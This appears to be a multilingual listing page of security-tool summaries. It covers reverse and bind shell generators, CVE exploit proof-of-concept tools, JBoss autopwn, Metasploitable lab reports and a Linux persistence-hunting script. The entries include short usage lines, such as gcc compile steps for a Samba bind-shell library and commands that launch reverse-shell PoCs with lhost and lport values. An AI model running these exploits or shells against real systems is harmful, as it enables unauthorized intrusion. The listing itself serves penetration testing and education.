ShellPop

ShellPop 关于 Shellpop 专注于弹出 shell。使用此工具，您可以生成简单或复杂的反向或绑定 shell 命令，以帮助您在渗透测试期间使用。 不要再浪费时间用 .txt 文件存储您的反向 shell 了！ 安装 需要 Python 2.7。 3.0+ 版本将无法工作。 所需依赖安装 root@kitploit: root@kali apt-get install python-argcomplete metasploit-framework -y root@kitploit: root@kali pip install -r requirements.txt 设置安装...

persisthunt

Linux 持久化检测、威胁狩猎与取证工件收集 摘要 使用方法 检测示例 技术表 摘要 persisthunt.sh 通过收集与持久化相关的定向取证工件并高亮常见于 Linux 持久化技术的可疑模式，帮助加快调查速度。 该脚本协助检测持久化、威胁狩猎，并针对广为人知的 Linux 持久化机制收集工件。检测结果根据置信度和严重性分为三个级别 - 高、低 和 参考信息。示例包括引用 /tmp/、/home/、/dev/tcp、curl 的可疑自启动条目，或检测到活跃的绑定/反向 shell。...

metasploitable2-vsftpd-exploitation

Metasploitable 2 - vsFTPd 2.3.4 漏洞利用实验室 概述 本项目演示了针对一个故意存在漏洞的机器 Metasploitable 2 的渗透测试工作流程。 目标在于识别、利用并分析 FTP 服务中的一个已知漏洞，最终实现 root 级别访问 并评估安全影响。 实验环境搭建 攻击机： Ubuntu（虚拟机） 目标机： Metasploitable 2（虚拟机） 网络配置： 仅主机网络（192.168.56.0/24） 目标验证 验证了目标系统及其网络配置： root@kitploit: whoami hostname ifconfig 连通性检查...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry 漏洞利用 针对 Samba 的 SambaCry CVE-2017-7494 漏洞利用（无需 Metasploit 的绑定 Shell） 如果需要更改端口，只需修改 bindshell-samba.c 的第 68 行并重新编译： root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so bindshell-samba.o 如何利用： 查看共享（在本例中我们使用匿名用户）： root@kitploit:...

revsh

revsh revsh 是一款用于建立带有终端支持的反向 Shell、用于高级横向移动的反向 VPN 以及任意数据隧道的工具。 新闻 2018-08-09 : 新版本发布。主要是错误/稳定性修复以及更好的 OpenSSL 1.1.0 构建文档。有关更新后的构建说明，请参阅下方的《安装》部分。 概述 什么是“反向 Shell”？ 反向 Shell 是一种网络连接，可授予对远程主机的 Shell 访问权限。与 telnet 和 ssh 等其他远程登录工具不同，反向 Shell 由远程主机发起。这种从远程网络出站连接的技术能够规避仅配置为阻止入站连接的防火墙。 什么是“反向 VPN”？ rev...

One-Lin3r

One-Lin3r One-Lin3r 是一个简单、模块化且轻量级的框架，为您提供渗透测试（Windows、Linux、macOS 甚至 BSD 系统）或一般黑客攻击时所需的全部单行命令，并具有许多新功能，使这一切完全自动化（例如：您甚至无需复制单行命令）。 版本 2 的截图 它包含各种不同类型的单行命令，具有不同的功能，其中一些包括： 单行命令功能| 该功能的作用 ---|--- 反向 Shell| 提供反向 shell 的各种方法和命令。 权限提升| 许多用于枚举和权限提升的命令。 绑定 Shell| 提供绑定 shell 的各种方法和命令。 下载执行|...

nginxhack

Esta es una herramienta que utiliza un exploit llamado CVE-2013-2028 para ejecutar un bind shell en el servidor objetivo que ejecuta Nginx 1.3.9 o 1.4.0. Se puede descargar aquí necesitarás ejecutarlo desde la línea de comandos Uso:...

postshell

PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

CVE-2020-0910

CVE-2020-0910 工作利用PoC CVE-2020-0910 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2020-0796

CVE-2020-0796 可用的漏洞利用 PoC（CVE-2020-0796）— 反向绑定 Shell 已在 Python 2.7 上测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

GoSH

GoSH Golang 反向/绑定 shell 生成器 描述 该工具生成一个 Go 二进制文件，可在目标主机上启动所需类型的 shell。 该 shell 二进制文件可以为多个平台编译，支持部分多态性（唯一函数名），并且可以使用 UDP 协议替代默认的 TCP。如果您通过已建立的连接发送 DELETE 命令，该 shell 二进制文件会从执行它的主机上自行删除。 许可证 本软件遵循 MIT 许可证...

SLAE

SecurityTube Linux Assembly Expert Esta entrada de blog ha sido creada para cumplir los requisitos de la certificación SecurityTube Linux Assembly Expert: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ID de estudiante: SLAE-1134 Artículos Tarea 1: Shell bind...

jboss-autopwn

⚠️ NOTE: This tool is no longer under active maintenance. JBoss Autopwn 脚本 Christian G. Papathanasiou http://www.spiderlabs.com 简介 该JBoss脚本在目标JBoss AS服务器上部署一个JSP Shell。部署后，脚本利用其上传和命令执行功能提供一个交互式会话。 功能包括： 多平台支持——已在Windows、Linux和Mac目标上测试 支持绑定Shell和反向连接Shell 针对Windows目标的Meterpreter Shell和VNC支持 安装 依赖项包...

CVE-2024-27348

🔥 CVE-2024-27348 利用工具包 🎓 学术项目 📚 课程: FC411 - 安全网络设计 👨‍🏫 讲师: Dr. Maira Sultan 🏫 大学: 穆格林王子大学 📅 年份: 2025 ⚡ 一个完整的 CVE-2024-27348 Apache Huge-Graph-Server 利用工具包，作为 FC411 课程要求的一部分开发。该项目包括用于教育目的的漏洞利用程序和绑定 shell。 📋 目录 📖 概述 🛠️ 包含的工具 ✅ 前提条件 📦 安装 🚀 使用方法 ⚠️ 漏洞详情 🚨 警告与免责声明 🔒 缓解措施 📖 概述 此仓库包含两个用于利用 CVE-2024-27348...

badblood

Bad Blood Bad Blood es un exploit para CVE-2021-20038, un desbordamiento de búfer basado en pila en el binario httpd de los sistemas de la serie SMA-100 que utilizan versiones de firmware 10.2.1.x. He escrito muchos de los detalles técnicos aquí: AttackerKB CVE-2021-20038 El exploit, tal como est...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Un exploit basado en golang para CVE-2021-4034, apodado pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@ !...

hacktivity-vulns-exploits-lab

Vulnerabilidades, Exploits y Payloads de Acceso Remoto — informe de laboratorio Mi recorrido y análisis de la hoja de Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" curso de Ethical Hacking y Penetration Testing, Leeds Beckett University. Cubre cómo las...

CVE-2020-0688

CVE-2020-0688 工作利用PoC CVE-2020-0688 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

metasploitable-pentest-report

Metasploitable 2 — Informe de Prueba de Penetración Descargo de responsabilidad: Esta prueba de penetración se realizó en un entorno de laboratorio privado y aislado de VMware con fines educativos únicamente. No se accedió a sistemas reales. Todas las direcciones IP han sido anonimizadas. Resumen...